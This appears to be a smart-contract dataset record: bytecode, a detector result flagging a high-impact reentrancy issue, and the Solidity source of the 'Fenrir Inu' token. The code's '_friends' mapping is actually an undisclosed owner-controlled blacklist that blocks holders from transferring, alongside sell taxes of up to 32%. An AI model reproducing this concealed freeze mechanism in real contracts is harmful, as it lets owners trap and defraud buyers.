14155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a26565b50600061121e8486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce3565b816001815181106113cc576113cc611c6d565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611d00565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611735565b6001600160a01b0389166000908152600260205260409020556115c481611794565b6115ce84836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061164282826114bf565b82101561165f57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106259190611a26565b50600061121e8486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149c565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117428385611cb4565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179e61149c565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114bf565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ab565b60006118c28385611d93565b9050826118cf8583611d71565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112de8161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112de82611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112de8161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202b6dc7833d1ed8f9231e7abba744e6b14e89b705405cf1135ed43eec2b623e3e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,266 |
0xa63eba0da0f98821c1ed5df8af327477197bd5ac
|
/**
*
* Fenrir Inu
* Telegram: t.me/fenririnu
* Twitter: twitter.com/FenrirInu
*
* TOKENOMICS:
*
* Lifeted automatically:
* FIRST 2 MINUTES: 5,000,000,000 max buy / 45-second buy cooldown
* FIRST 5 MINUTES: Max 5% wallet holder
* FIRST 5 MINUTES: 32% sell tax (No paper hands please)
*
* 15-sec sell cooldown after a buy for bot prevention
*
* Variable Buy Tax (STARTS 5 MINUTES AFTER LAUNCH)
* - 9% base
* - 6% tax if you buy 3% or more of available supply
* - 3% tax if you buy 5% or more of available supply
*
* Dump Prevention Sell Tax (STARTS 5 MINUTES AFTER LAUNCH)
* - tax increases the more times you sell within a 4 hour period (resets to 0 afterwards)
* - Sell is limited to less than 3% price impact
*
* - 1st sell: 14%
* - 2nd sell: 20%
* - 3rd sell: 26%
* - 4th sell onwards: 32%
*
* NO SELL COOLDOWNS, YOU CAN SELL ANYTIME YOU WANT
*
* MANUAL BUYBACKS MAY BE EXECUTED AT RANDOM TIMES
*
* No team tokens, no presale
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Fenrir is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"FenrirInu";
string private constant _symbol = unicode"FENRIR";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
uint256 private tokenomicsDelay;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 sellCount;
uint256 firstSell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 3;
_teamFee = 6;
// Wallet limits for 5 mins
if (tokenomicsDelay > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(5).div(100));
// after 5 mins, tax becomes lower if you buy bigger amounts
} else {
// 5% of available supply
if (amount >= balanceOf(uniswapV2Pair).mul(5).div(100)) {
_taxFee = 1;
_teamFee = 2;
// 3% of available supply
} else if (amount >= balanceOf(uniswapV2Pair).mul(3).div(100)) {
_taxFee = 2;
_teamFee = 4;
}
}
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
_taxFee = 4;
_teamFee = 28;
// limit to 3% price impact
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100));
// start after first 5 minutes
if (tokenomicsDelay < block.timestamp) {
if (block.timestamp > trader[from].firstSell + (4 hours)) {
trader[from].sellCount = 0;
}
if (trader[from].sellCount == 0) {
_taxFee = 2;
_teamFee = 12;
trader[from].sellCount++;
trader[from].firstSell = block.timestamp;
} else if (trader[from].sellCount == 1) {
_taxFee = 2;
_teamFee = 18;
trader[from].sellCount++;
} else if (trader[from].sellCount == 2) {
_taxFee = 3;
_teamFee = 23;
trader[from].sellCount++;
} else if (trader[from].sellCount == 3) {
_taxFee = 4;
_teamFee = 28;
}
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
tokenomicsDelay = block.timestamp + (5 minutes);
_launchTime = block.timestamp;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
function sellCounter(address from) public view returns (uint) {
if (block.timestamp > trader[from].firstSell + (4 hours)) {
return 0;
}
return trader[from].sellCount;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063c3c8cd801161008a578063dc8867e611610064578063dc8867e614610513578063dd62ed3e1461053c578063e8078d9414610579578063eab0f7ac1461059057610171565b8063c3c8cd80146104ba578063c9567bf9146104d1578063db92dbb6146104e857610171565b8063715018a6146103bc5780638da5cb5b146103d357806395d89b41146103fe578063a9059cbb14610429578063a985ceef14610466578063b8755fe21461049157610171565b806345596e2e1161012357806345596e2e1461029c5780635932ead1146102c557806368125a1b146102ee57806368a3a6a51461032b5780636fc3eaec1461036857806370a082311461037f57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd1461020957806327f3a72a14610246578063313ce5671461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105cd565b6040516101989190613c19565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906136da565b61060a565b6040516101d59190613bfe565b60405180910390f35b3480156101ea57600080fd5b506101f3610628565b6040516102009190613dfb565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190613687565b610639565b60405161023d9190613bfe565b60405180910390f35b34801561025257600080fd5b5061025b610712565b6040516102689190613dfb565b60405180910390f35b34801561027d57600080fd5b50610286610722565b6040516102939190613e70565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be91906137bd565b61072b565b005b3480156102d157600080fd5b506102ec60048036038101906102e79190613763565b610812565b005b3480156102fa57600080fd5b50610315600480360381019061031091906135ed565b61090a565b6040516103229190613bfe565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d91906135ed565b610960565b60405161035f9190613dfb565b60405180910390f35b34801561037457600080fd5b5061037d6109b7565b005b34801561038b57600080fd5b506103a660048036038101906103a191906135ed565b610a29565b6040516103b39190613dfb565b60405180910390f35b3480156103c857600080fd5b506103d1610a7a565b005b3480156103df57600080fd5b506103e8610bcd565b6040516103f59190613b30565b60405180910390f35b34801561040a57600080fd5b50610413610bf6565b6040516104209190613c19565b60405180910390f35b34801561043557600080fd5b50610450600480360381019061044b91906136da565b610c33565b60405161045d9190613bfe565b60405180910390f35b34801561047257600080fd5b5061047b610c51565b6040516104889190613bfe565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b3919061371a565b610c68565b005b3480156104c657600080fd5b506104cf610e78565b005b3480156104dd57600080fd5b506104e6610ef2565b005b3480156104f457600080fd5b506104fd610fd8565b60405161050a9190613dfb565b60405180910390f35b34801561051f57600080fd5b5061053a600480360381019061053591906135ed565b61100a565b005b34801561054857600080fd5b50610563600480360381019061055e9190613647565b6110fa565b6040516105709190613dfb565b60405180910390f35b34801561058557600080fd5b5061058e611181565b005b34801561059c57600080fd5b506105b760048036038101906105b291906135ed565b61168a565b6040516105c49190613dfb565b60405180910390f35b60606040518060400160405280600981526020017f46656e726972496e750000000000000000000000000000000000000000000000815250905090565b600061061e610617611737565b848461173f565b6001905092915050565b6000683635c9adc5dea00000905090565b600061064684848461190a565b61070784610652611737565b6107028560405180606001604052806028815260200161461560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b8611737565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129529092919063ffffffff16565b61173f565b600190509392505050565b600061071d30610a29565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661076c611737565b73ffffffffffffffffffffffffffffffffffffffff161461078c57600080fd5b603381106107cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c690613cdb565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c546040516108079190613dfb565b60405180910390a150565b61081a611737565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e90613d3b565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff166040516108ff9190613bfe565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154426109b09190614012565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109f8611737565b73ffffffffffffffffffffffffffffffffffffffff1614610a1857600080fd5b6000479050610a26816129b6565b50565b6000610a73600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ab1565b9050919050565b610a82611737565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690613d3b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f46454e5249520000000000000000000000000000000000000000000000000000815250905090565b6000610c47610c40611737565b848461190a565b6001905092915050565b6000601460159054906101000a900460ff16905090565b610c70611737565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf490613d3b565b60405180910390fd5b60005b8151811015610e7457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610d5557610d546141b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610de95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610dc857610dc76141b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610e6157600160066000848481518110610e0757610e066141b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610e6c90614111565b915050610d00565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb9611737565b73ffffffffffffffffffffffffffffffffffffffff1614610ed957600080fd5b6000610ee430610a29565b9050610eef81612b1f565b50565b610efa611737565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90613d3b565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610fae9190613f31565b6016819055504360158190555061012c42610fc99190613f31565b60178190555042600d81905550565b6000611005601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a29565b905090565b611012611737565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109690613d3b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611189611737565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611216576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120d90613d3b565b60405180910390fd5b60148054906101000a900460ff1615611264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125b90613dbb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112f430601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061173f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133a57600080fd5b505afa15801561134e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611372919061361a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b81526004016020604051808303818680